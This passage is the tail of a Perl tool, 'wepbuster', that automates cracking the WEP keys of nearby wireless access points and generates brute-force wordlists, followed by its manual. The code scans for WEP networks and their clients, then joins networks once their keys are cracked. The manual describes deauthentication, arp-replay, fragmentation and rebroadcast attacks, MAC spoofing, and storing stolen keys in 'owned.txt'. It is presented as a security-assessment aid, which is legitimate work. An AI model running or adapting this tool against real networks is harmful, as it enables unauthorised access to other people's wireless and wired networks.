	    print "<< DEBUG >>: SETTING DEFAULT GATEWAY TO 192.168.1.1...\n" if $debug;
	    print "<< DEBUG >>: RUNNING \"route add default gw 192.168.1.1 > \/dev\/null 2>\&1\"...\n" if $debug;
   	    `route add default gw 192.168.1.1 > /dev/null 2>&1`;
	    print "Testing connectivity...\n";
            $gateway = '192.168.1.1';
	    if ($pinghost eq 'gateway'){
	        print "Pinging $gateway...\n";
	    }else{
	        print "Pinging $pinghost...\n";
	    }
            $ping_status = ($pinghost eq 'gateway')?pingtest($gateway):pingtest($pinghost);
            if ($ping_status eq 'success'){
                return 'success';
            }else{
	        return 'failed';
            }

        }else{
            return 'failed';
        }
    }


}elsif($op eq 'ping'){ 

   my %pingresponse; 
   my $connect_status = connect($bssid, $key, $ssid, 'connect', $pinghost);
   if ($connect_status eq 'success'){
      print "Successfully connected to \"$ssid\" ($bssid)...\n";
      sleep 2;	
      if ($pinghost eq 'gateway'){
          print "Getting RTT of gateway ($gateway)...\n";
	  $pinghost = $gateway;
      }else{
          print "Getting RTT of $pinghost...\n";
      }
      print "<< DEBUG >>: RUNNING \"ping -q -c $pingcount $pinghost \|\"...\n" if $debug; 
      open PING, "ping -q -c $pingcount $pinghost |" or die "Can't run ping.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n";
      while (<PING>){
	if (/loss/){
		($pingresponse{'packetloss'}) = $_ =~ /(\d+)%/;
		$pingresponse{'packetloss'} = 100 unless (defined $pingresponse{'packetloss'} && $pingresponse{'packetloss'} ne "");
		print "<< DEBUG >>: SENT -> $_...\n" if $debug;
	}
        if (/rtt/){
	  print "<< DEBUG >>: FOUND \/rtt\/ IN ping OUTPUT...\n" if $debug;
	  print "<< DEBUG >>: RTT -> $_...\n" if $debug;
	  $pingresponse{'rtt'} = (split/\//, $_)[4];
	  return \%pingresponse;
        }
	 
      }	

      $pingresponse{'rtt'} = 99999;
      return \%pingresponse;

   }else{
	print "Connection failed. Skipping...\n\n";
	return;
   }

}

}

###################   END SUB CONNECT   ##############################


###################   BEGIN SUB PINGTEST   ##############################

sub pingtest{
my $pinghost = shift;
$ENV{'pinghost'} = $pinghost; 
print "<< DEBUG >>: RUNNING \"ping -c 5 $pinghost > \/dev\/null 2>\&1\"...\n" if $debug;
my $ping = system("ping -c 5 $pinghost > /dev/null 2>&1"); 



if ($ping != 0){
	if ($manualip == 1){
           print "Ping failed again!!\n";
	   $manualip = 0;
	   return 'failed';
	}
        print "Ping failed!!\n";
        print "Trying DHCP...\n";
	print "<< DEBUG >>: FORKING ANOTHER CHILD PROCESS FOR DHCLIENT...\n" if $debug;
	die "Could not fork dhclient!: $!\n\n" unless defined (my $pid = fork);
	if ($pid == 0){
	   print "<< DEBUG >>: RUNNING \"dhclient $inject_iface 2>\&1\"...\n" if $debug;
	   `dhclient $inject_iface 2>&1`;
	   print "<< DEBUG >>: DHCLIENT CHILD PROCESS DONE. EXITING...\n" if $debug;
	   exit(0);
	}	

	waitpid($pid, 0);
	print "<< DEBUG >>: TRYING TO GET THE GATEWAY BY PARSING NETSTAT OUTPUT...\n" if $debug;
	print "<< DEBUG >>: RUNNING \"netstat -rn \|\"...\n" if $debug;

        open NETSTAT, "netstat -rn|" or die "Can't run netstat.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n"; 
        while (<NETSTAT>){
           next unless /^0.0.0.0/;
           $gateway = (split/\s+/,$_)[1];
	   print "<< DEBUG >>: GATEWAY FOUND!!! -> $gateway...\n" if $debug;
        }

        $manualip = 1;

        print "Testing connectivity...\n";
        if ($pinghost eq '192.168.1.1'){
	    print "Pinging $gateway...\n";
        }else{
	    print "Pinging $pinghost...\n";
        }

        my $ping_status = ($pinghost eq '192.168.1.1')?pingtest($gateway):pingtest($pinghost);

       if ($ping_status eq 'success'){
            return 'success';
       }else{
	    return 'failed';
       }

}else{
     print "Ping successful!!\n";
     return 'success';
}
}


###################   END SUB PINGTEST   ##############################



###################   BEGIN SUB SCAN_AP   ##############################


sub scan_ap{


my %all_ap = ();
my $channel = shift @_;
my $chan_on_file;
my $filename = 'chan'.$channel;
my $csv = $filename.'-01.csv';
my $ssid;
my $bssid;
my $client;
my $iv;
my $ssidlen;


print "<< DEBUG >>: RUNNING AIRODUMP-NG FOR CHANNEL $channel...\n" if $debug;
print "<< DEBUG >>: WRITING OUTPUT TO $csv...\n" if $debug;
die "Could not fork airodump-ng!: $!\n\n" unless defined (my $pid = fork);

if ($pid == 0){
  print "\nScanning channel $channel for WEP-enabled Access Points\n";
  print "<< DEBUG >>: RUNNING \"airodump-ng $monitor_iface -t wep -c  $channel --output-format csv -w $filename 2\>\&1\"...\n" if $debug;
 `airodump-ng $monitor_iface -t wep -c  $channel --output-format csv -w $filename 2>&1`;
}

 $| = 1;
 for (my $i = $scan_duration; $i > 0; $i--){
    print ".";
    sleep 1;
 }
# Stop scanning for targets after $scan_duration
print "\n<< DEBUG >>: STOPPING AIRODUMP-NG...\n" if $debug;
kill(9, $pid);
waitpid($pid, 0);
print "<< DEBUG >>: MAKING SURE OUR TERMINAL IS IN CLEAN STATE..\n" if $debug;
print "<< DEBUG >>: RUNNING \"stty sane\"...\n" if $debug;
system("stty", "sane");


my $basestation;
print "<< DEBUG >>: PARSING $csv...\n" if $debug;
print "<< DEBUG >>: EXTRACTING ACCESS POINTS", ($mode eq 'crack')?" AND CONNECTED CLIENTS...\n":"...\n" if $debug;
unless (open CSV, $csv){
 print "Cannot open airodump output.: $!\nSleeping for 2 seconds...";
 sleep 2;
 open CSV, $csv or die "\nStill can\'t open airodump output! $!\nTry increasing \$scan_duration.\nExiting...\n";

}
while (<CSV>){
  chomp;
  next if /^\r$/;


  if (/^BSSID/){
    $basestation = 1;
  }
  if (/^Station/){
    $basestation = 0;
  }

  if ($basestation){
      next if /^BSSID/;
      $chan_on_file = (split /,\s+/,$_)[3];
      next if $channel != $chan_on_file;
      my @uglyssid = (split/,/, $_,13);
      $ssid = "@uglyssid"; 
      ($ssid) = $ssid =~ /\d+,\s+(.+)\s+.$/;
      chop $ssid;
      $ssidlen = length($ssid); 
      $ssid =~ s/\x00*//g;
      $ssid =~ s/^\s*$/$hssid/;
      $bssid = (split /,\s+/,$_)[0];
      $iv = (split /,\s+/,$_)[10];
     $all_ap{ $bssid } = {
			 bssid => $bssid,
			 iv => $iv,
			 channel => $chan_on_file,
			 ssid => $ssid,
			 ssidlen => $ssidlen,
			 key => '',
			 dateowned => '',
			 clients => []
			}; 

  }elsif ($mode eq 'crack'){
### We only get the connected clients if we are cracking
     next if /not/;
     next if (/^Station/);
     $bssid = (split /,\s+/,$_)[5];
     $client = (split /,\s+/,$_)[0];

### Store clients to the 'client' anonymous array we have created before
### exists check is for the BSSIDs we found here that we didn't find above (meaning, we only found the bssid because of the client)
     if (exists $all_ap{$bssid}){
         print "<< DEBUG >>: $client CONNECTED TO $bssid. SAVING...\n" if $debug;
         push @{$all_ap{$bssid}->{'clients'}}, $client;
     }
  }



}


$apcount = scalar keys %all_ap;
print "<< DEBUG >>: ADDING FOUND APs TO found_ap.txt...\n" if $debug;
open FOUNDAP, ">>found_ap.txt" or die "Cant write to found_ap.txt: $!\n\n";
print "\nFound $apcount AP(s) on channel $channel\n\n";
if ($apcount != 0){
   print "     BSSID\t\tIV\tCHANNEL\tSSID\t       ", ($mode eq 'crack')?"ASSOCIATED CLIENTS\n\n":"\n\n";
   for (keys %all_ap){
	print FOUNDAP "$all_ap{$_}->{'bssid'}\t$all_ap{$_}->{'channel'}\t$all_ap{$_}->{'ssid'}\n";
	print "$all_ap{$_}->{'bssid'}\t$all_ap{$_}->{'iv'}\t$all_ap{$_}->{'channel'}\t", ($all_ap{$_}->{'ssid'} eq $hssid)?"hidden (len: $all_ap{$_}->{'ssidlen'})          ":"$all_ap{$_}->{'ssid'}         ";
## Append client list at the end of the line separated by comma (we temporarily alter the print output field separator).
	$" = ', ';	
	   print "@{$all_ap{$_}->{'clients'}}\n";
	$" = ' ';
   }
}
print "\n";
return \%all_ap;
}

###################   END SUB SCANAP   ##############################



##################    BEGIN  SUB  SET_IFACE    #################################

sub set_iface{

my $start_iface = 0;
my $start_mon_iface = 0;
my $inject_iface = shift;
my $monitor_error;
my $atheros = 0;
my $mac80211 = 0;


open AIRMONSTART, "airmon-ng start $inject_iface |" or die "Can't run airmon-ng.\nMake sure it can be found in one of these directories:\n\t$ENV{'PATH'}: $!\n\n"; 

while (<AIRMONSTART>){
  if ($monitor_error){
	next unless /ERROR/;
	$set_monitor_error = $_;
	return 'error';
  }
     if (/^$inject_iface/ && $start_iface != 1){
        $start_iface = 1;
     }  

  if ($start_mon_iface){
		
      if ($mac80211){
         $monitor_iface = (split/\s+/,$_)[-1];
         $monitor_iface =~ tr/a-z0-9//cd unless !defined $monitor_iface;
      }

      if ($atheros){
         $monitor_iface = (split/\s+/,$_)[0];
      }


      if (defined $monitor_iface && $monitor_iface ne ''){
         return $monitor_iface;
      }else{
	$monitor_error = 1;
	next;
	}	

     
  }

  if ($start_iface){
      if (/\[/){
     	  $start_mon_iface = 1;
	  $mac80211 = 1;
	  next;
       }elsif(/^wifi\d/){
	 $start_mon_iface = 1;
	 $atheros = 1;	
	 next;
	}else{
	  return $inject_iface;
       }


    }





  }


} 

##################    END  SUB  SET_IFACE    #################################




##################   BEGIN  SUB  SELECT_IFACE   ###############################

sub select_iface{

my $timeout = time + shift;
my $answer;

while (time < $timeout){
  $answer = ReadKey(1);
return $answer if defined $answer;
}

}
##################   END  SUB  SELECT_IFACE   ###############################






sub wordlistgen{



if (defined $filters{input} && $filters{input} ne ''){
 if (-e $filters{input} && $filters{input} ne 'STDIN'){
   open FILTER, $filters{input} or die $!;
   while (<FILTER>){
     chomp;
     print "$_\n" unless filtered($_, \%filters);
   }
   exit(0);

 }elsif($filters{input} eq 'STDIN'){
    while (<STDIN>) {
      chomp;
      print "$_\n" unless filtered($_, \%filters);
    }
    exit(0);

 }else{
	print "At least input file must exist.\n";
 }
}



if (defined $merge{input} && $merge{input} gt ''){
my ($input, $source, $mergedword);

  if (defined $merge{source} && $merge{source} gt ''){
      if (open INPUT, $merge{input}){
        while ($input=<INPUT>){
          chomp $input;
          open SOURCE, $merge{source} or die "At least source file must exist.\n$!";
          while (my $source=<SOURCE>){
            chomp $source;
	    $mergedword = "$input$source";
 	    print "$mergedword\n" unless filtered($mergedword, \%filters);
          }
        }
      }else{
	$input = $merge{input};
        open SOURCE, $merge{source} or die "At least source file must exist.\n$!";

        if ($input eq 'STDIN'){
	  while (my $sinput = <STDIN>){
	     chomp $sinput;
	     while (my $source = <SOURCE>){
	       chomp $source; 
	       $mergedword = "$sinput$source"; 
 	       print "$mergedword\n" unless filtered($mergedword, \%filters);
             }
	  }
        }else{
          while ($source=<SOURCE>){
	     chomp $source;
	     $mergedword = "$input$source"; 
 	     print "$mergedword\n" unless filtered($mergedword, \%filters);
          } 
        }

      }
  }else{
    print "Source parameter missing.\n";
    exit(1);
  }
exit(0);
}



if ($uniq){
  if ($fastpermute){ 
     Algorithm::Permute::permute { print split(/ /, join("",@set)),"\n" } @set;
  }else{
    foreach($pwlen->range){
    permute_uniq(\@set, $_);
  }
}

}else{

foreach($pwlen->range){
 permute_all(0, $_);
}

}

exit;

}



sub permute_all{
 my ($start, $pwlen) = @_;
 if ($start>=$pwlen){
   print "$word\n" unless filtered($word,\%filters);
   return;
 }

for(@set){
  substr($word,$start,1) = $_;
  permute_all($start+1,$pwlen);
 }
}


sub permute_uniq{
 my ($set, $pwlen) = @_;
 my $word;
 my $p = new Algorithm::Permute([@$set], $pwlen);
 while ($word = join('', $p->next)){
	print $word,"\n" unless filtered($word,\%filters);
 }
}


sub filtered{
my ($word, $filters) = @_;
my @subset;

if (exists $$filters{source}){
  if (-e $$filters{source}){
    my $pattern = read_file($$filters{source});
    if ($pattern =~ /$word/m){
	return 1;
    }else{
        if (exists $$filters{count} && $$filters{count} < length($word)){
         my $max = length($word) - $$filters{count}; 
	 my $subpattern = '';
         for my $i ( 0 .. $max) {
  	     foreach (substr( $word, $i, $$filters{count})){
		$subpattern = $subpattern . $_;
	     }
	     if ($pattern =~ /$subpattern/m){
		return 1;
	     }
	     $subpattern = '';
		
	  }
        }

     }
         
  }else{
    my $pattern = $$filters{source};
    if ($pattern =~ /$word/){
	return 1;
    }else{
       if (exists $$filters{count} && $$filters{count} < length($word)){
        my $max = length($word) - $$filters{count}; 
	 my $subpattern = '';
         for my $i ( 0 .. $max) {
  	     foreach (substr( $word, $i, $$filters{count})){
		$subpattern = $subpattern . $_;
	     }
	     return 1 if $pattern =~ /$subpattern/m;
	     $subpattern = '';
		
	  }
       }
    }
  
 }
}


if (exists $$filters{length} && length($word) == $$filters{length}){
return 1;
}


 if (exists $$filters{vowel}){
   my $vowels = '[aeiouAEIOU]';
   if ($word =~ /$vowels/){
     if ($$filters{vowel}){

        my ($vowdupcount, $vowadjcount);
        ($vowdupcount) = $$filters{vowel} =~ /^(\d+)/ or $vowdupcount = 0;
        ($vowadjcount) = $$filters{vowel} =~ /,(\d+)/ or $vowadjcount = 0;
        (my $voweldup) = $word =~ /($vowels)(\1+)/ unless $vowdupcount == 0;

        if (defined $voweldup){ 
           if ($vowdupcount > 0 && $word =~ m/($voweldup){$vowdupcount}/){
		return 1;
	   }

        } 

        if ($vowadjcount > 0){
         	 $vowels = $vowels x $vowadjcount;
	         return 1 if $word =~ /$vowels/;
             
        }

      
    }else{
     return 1;
    }

  }
 
}

if(exists $$filters{consonant}){ 
   my $consonants = '[bcdfghj-np-tv-zBCDFGHJ-NP-TV-Z]';
   if ($word =~ /$consonants/){
     if ($$filters{consonant}){ 

        my ($consdupcount, $consadjcount);
        ($consdupcount) = $$filters{consonant} =~ /^(\d+)/ or $consdupcount = 0;
        ($consadjcount) = $$filters{consonant} =~ /,(\d+)/ or $consadjcount = 0;
        (my $consdup) = $word =~ /($consonants)(\1+)/ unless $consdupcount == 0;

        if (defined $consdup){
          if ($consdupcount > 0 && $word =~ m/($consdup){$consdupcount}/){
	     return 1;
          }

        }
          if ($consadjcount > 0){ 
	    $consonants = $consonants x $consadjcount; 
	    return 1 if $word =~ /$consonants/;
	    
          }

     }else{
	return 1;
     }
   }
 
 
}

return;

}




#####################################  BEGIN EMBEDDED DOCUMENTATION  #############################################################

=head1 NAME

wepbuster - Automated WEP cracker and wordlist generator 

=head1 SYNOPSIS

=over 5

=item wepbuster [channel(s)]

=item wepbuster [sort | connect] [hostname/ipaddress]

=item wepbuster permute [OPTIONS]

=back


=head1 DESCRIPTION

WEPBuster is a small utility written for information security professional to aid in conducting Wireless Security Assessment.
The script executes various programs included in the aircrack-ng suite - a set of tools for auditing wireless networks, in order to
obtain the WEP encryption key of a wireless access point. A built-in wordlist generator can be used in
creating "dictionary" files for WPA Pre-Shared Key cracking and for other related tasks. 
The list of supported options are as follows:


=head1 OPTIONS 

(Wordlist Generator)

=over 8


=item B<--charset>

(lower, upper, number, symbol, nonsymbol, string, file) - Character set(s) to be used. Accepts ranges (Ex. j-h, a..f), string or text file.

=item B<--uniq>

Generate words without repeating characters.

=item B<--length> 

(Ex. 2, 4, 6-8, 9..11) - Lengths of words to be created. Ranges are accepted. (defaults to the length of the charset)

=item B<--filter>

=over 5

=item vowel={m,n} 

Filter a word if it has vowel(s) or if it has m repeated and/or n consecutive vowels.

=item consonant={m,n}

Filter a word if it has consonant(s) or if it has m repeated and/or n consecutive consonants.

=item length=n

Filter a word if length is not equal to n.

=item source=file|string

Filter a word if it appears anywhere in the file or string.

=item count=n

In conjuction with source filter, n length subsets of the word are matched.  (Ex. if the word is "abcd" and count=2, then the word will be filtered if there is an "ab" or "bc" or "cd" anywhere in the filter source file/string.

=item input=file

Reads the input file and filters out lines according to the specified filters.


=back

=item B<--merge>

Merges each line of two files together.

=over 5

=item input=file|string|"STDIN"

Where source file will be merged into. If file does not exist, string or standard input (unix pipe) is used.

=item source=file

The source file to merge into the input file. 

=back

=item B<--help>

Display options summary.

=item B<--man>

Display the manual.

=back

=head1 WEP CRACKING PROCESS

When invoked without any arguments, the program initially builds a list of all WEP-enabled access points within the range using airodump-ng(1) on each non-overlapping channel of the country specified. (US 1, 6, 11 and EU 1, 5, 9, 13). If there's any, associated stations are also saved for use in mac address spoofing when dealing with access points with hidden SSIDs or those with mac address filtering enabled. Once done scanning, the automated WEP cracking begins. The script will go through the list and attempt to crack each access point listed. A white list (known_ap.txt) and black list (bad_ap.txt) text files on the current working directory are consulted to know if a particular access point is to be skipped or not. 

The first step in the actual WEP cracking is to associate the cracking station using aireplay-ng(1) to the target access point. Shared-key authentication (SKA) is also done automatically. If the SSID is unknown or hidden , association will not be possible hence, the script will use aireplay-ng to launch deauthentication attacks in order to reveal the ssid. Once associated, the script will use aireplay-ng(1) to launch an arp-replay attack against the access point. When a particular period has elapsed and the IV count did not increase significantly, fragmentation attack will be launched. If fragmentation attack was successful (keystream was found), the script will use packetforge-ng(1) in order to build an arp packet to be used in arp-replay attack. If unsuccessful, fragmentation attack will be stopped and rebroadcast attack (-p0841) will be tried next. 

If all goes well, wepbuster should display the IV counts as they increase. When enough IVs are collected, the script will launch aircrack-ng(1) and will try to crack the WEP encryption key using the collected data packet dumps. If successful, the WEP key will be saved into the text file "owned.txt" in the current working directory. This entire process is repeated until all the access points included in the initial list are processed. 


=head2 OPTIONS EXPLAINED

=over 5

=item B<Channels>

WEPBuster can accept space separated numbers as arguments. However, for each run, these channels are limited only to whichever country was set in the script. This means that if the $country variable in the script is set to "US" (default), the user can only scan channels 1, 6, and 11. All other channels that were entered are skipped. When "EU" is selected, any of the channels 1, 5, 9, and 13 can be scanned. Unless you know what you are doing, there is really no point in setting the $country variable to "all" which will tell WEPBuster to scan all channels from 1 to 14. 

When done scanning, WEPBuster writes the output into "owned.txt" text file in the current working directory. A sample entry is shown below:

00:ff:bb:cc:dd:ee === 6 === gabion === 05:21:56:36:56 === 1246694544


The first field is the BSSID or mac address of the access point, second is the channel, followed by ssid, the actual WEP key, and lastly the timestamp.


=item B<Sorting and Connecting>

An extra feature of WEPBuster is the ability to sort all the cracked access points based on ping(1) round trip time to any host specified, and eventually make a connection to the first connectible access point. This feature is more of a proof-of-concept of what can be automated once the WEP key is known. Typical attacks on wired networks can be employed since WLAN is just an extension of the wired local area network. 

When sorting, the output, which is the list of sorted access points, is written into "owned_rtt.txt" text file in the current working directory. 
The text file looks the same as the cracked AP list ("owned.txt"), except that the round trip time is appended to each entry along with the percentage of packet loss. Once this list is completed, the script rewrites "owned.txt" in order to reflect the ordering in this list.

00:xx:xx:xx:xx:xx === 6 === gabion === 05:21:56:36:56 === 1246694544 === 7.442 (0% loss)


=item B<White list and Black list>

During a wireless security assessment, it is important for the penetration tester to limit the scope of his attacks to only those access points which are owned by the client. Creating a text file "known_ap.txt" containing the mac addresses or BSSID of the target access points (one entry per line) will make WEPBuster skip whichever access point that is not included in the list. A blacklist file called "bad_ap.txt" does the opposite.

=item B<Wireless Interface Detection>

The wireless interface detection is done by the script automatically. When the script is run, it executes airmon-ng(1) to obtain a list of all the wireless cards currently installed on the system and puts each into monitor mode. After this, the corresponding monitor interface (if there's any) is obtained and the user is given a prompt for wireless card selection in case multiple interfaces were found. This automatic detection feature may not work in every setup, hence the user can simply modify the variables $inject_iface, $monitor_iface, and $macaddress in the script in order to specify the correct interfaces to use.

=item B<Extending Fragmentation Attack>

By default, unless the keystream is found, fragmentation attack will only last when the number of data packets as specified in the variable $packets_to_try has been tried or until the number of seconds set in $frag_timeout has elapsed. The idea is that if an access point is indeed vulnerable to fragmentation attack, most likely, it wouldn't take that much time or data packets to exploit it. The user can freely set those variables to any preferred value.


=back


=head1 WORDLIST GENERATOR

The key to a successful bruteforce attack is to have a good dictionary file. It is a known fact that at this point, one cannot just create a dictionary file by generating all the possible combinations of all the character sets and expect to make it useable upon completion, if at all. Building a dictionary file for bruteforce password guessing is a tricky exercise. People came up with various ideas such as crawling a website in order to extract unique words from it, word association using data mining, "leetifying", case switching (e.g., lower to upper), mutation, etc. 

WEPBuster is capable of generating all combinations of a given set and at the same time apply filters to each generated word in order to make the resulting word list size significantly smaller.
Ex. Suppose you asked your friend to think of an eight character, all lower case, word as a name for a dog. Even with the length of the word (8) and character set (a-z) known to you, guessing would still be extremely difficult. No, don't even think of generating all possible 8-character combinations of the letters from a to z as it would take gazillion years to finish. To transform this into a numerical context, typing 26**8 in google search in order to compute the number of all possible combinations would give you 208 827 064 576. That's about 208 billion 8-character words. And if one character occupies one byte, you would then have to multiply it to 9(including newline character) in order to get the resulting size in bytes. 

So what would you do in this situation? Would you rather use someone else's dictionary or build your own?

The way I would handle this is by breaking that 8 characters into smaller parts. I have a good feeling that your friend would not name a dog starting or ending with two identical characters, whether it is a cartoon character, name of a planet, name of a president, or a tv show. The first thing I would do is to create all unique 2-character combinations of the letters from a-z. Once I have the list, I would then use /usr/share/dict/words to trim it down further by making sure that if a 2-character word is not found anywhere in the dictionary, it will not be included in my list. At this point I have a two-character unique word list which I can use for the first and the last two characters of the mystery word.

Next, I need to build a four-character word list to be used as the middle four characters of the mystery word. This time, words could be anything. Even repetition is likely. I have a good feeling that whatever name your friend would choose for a dog, it must be something that he or his kids could easily pronounce, remember, or perhaps even spell out. Something that does not contain four consecutive consonants or four consecutive vowels. I could even trim down my list such that only those three consecutive consonants or vowels found in /usr/share/dict/words would be included. Further, only those words with two identical characters found in the dictionary would be kept. Once I have the four-character word list, the only thing left to do append my two-character word list on both sides, while applying all the filters I have applied before. 

This entire process could be too tedious but definitely more feasible than generating all the possible eight-character combinations of the letters from a-z. And if your friend named the mystery dog as "superdog" or even "supercat" the word would most likely be found in the list in no time. 


=head2 OPTIONS EXPLAINED

=over 5

=item B<--charset>

Character sets could be any combination of "number", "lower", "upper", "symbol", or "nonsymbol". Text files and any string can also be used. Ranges (e.g., a-f, n..p, 1-5) are also supported. This parameter is required.

=item B<--uniq>

When this option is passed, the script generates all combinations of a given set without repeating characters. 

=item B<--length>

This option specifies the length of the words to be generated. Any number and range combinations are accepted. (e.g., 0-3, 4, 7,9, 10..12). If there is no length specified, the default is to get the length or number of characters on
the given charset. When --uniq argument is passed and there is no --length specified, the script uses a faster algorithm to do the permutations, the downside however is that no filters can be applied to the resulting words. 

=item B<--filters>

=over 5

=item vowel|consonant={m,n}

When this filter is applied, any word which has at least one vowel/consonant will be skipped. If the optional values are specified, the word instead would be filtered if it as at least m repeated, and/or n consecutive vowels or consonants.  Ex. "wepbuster permute -c abcd -l 3 -f vowel=,3" will filter out those words which have at least three consecutive vowels, and the command "wepbuster permute -c abcd -l 3 -f consonant=2,3" will filter out those words which have at least two consecutive identical and 3 consecutive consonants.

=item length=n

This option filters out words unless their length is equal to n. Obviously, when the --length option was initially specified, there is no use for this filter. This is only useful when filtering input files or wordlist.

=item source=file|string

This script is particularly useful when you want to generate or filter out words which are included in a certain word list, e.g., a Russian dictionary. The source file is read at once (slurping) and each generated word is checked if it is contained anywhere in the source file. The process of slurping which is reading a file at once is particularly beneficial in situations like this. However, due care must be taken in order to avoid performance penalties. Slurping a megabyte-size file should not be a problem. If the file does not exist, the string is used as a filter.

=item count=n

This filter is used in conjuction with the source file filter. When this is specified, n-character subsets of a word is matched against the source file or string. (Ex. if the word is "abcd" and count=2, then the word will be filtered if there is an "ab" or "bc" or "cd" anywhere in the filter source file/string. 

Suppose I want to generate four-character lower case wordlist but I want to make sure that if a word contains three consecutive consonants, the word will be accepted only if those consecutive consonants are found in the dictionary, e.g., /usr/share/dict/words. This could significantly shrink the size of my resulting word list. The first step is to generate all three possible consonants combinations and use the dictionary as a source filter  - "wepbuster permute -c lower -l 3 -f vowel -f source=/usr/share/dict/words > avoidedtrio.txt". The resulting list contains three-consonant words which are not contained in the dictionary. I will then use this list to filter out the four-character combination word list which I'm going to create - "wepbuster permute -c lower -l 4 -f source=avoidedtrio.txt -f count=3".


=item input=file|"STDIN"

When this option is specified, the script will read the file or standard input (unix pipe) line by line and filter out those lines according to whatever filters were specified.

=back




=back



=cut

#####################################  END EMBEDDED DOCUMENTATION  #############################################################
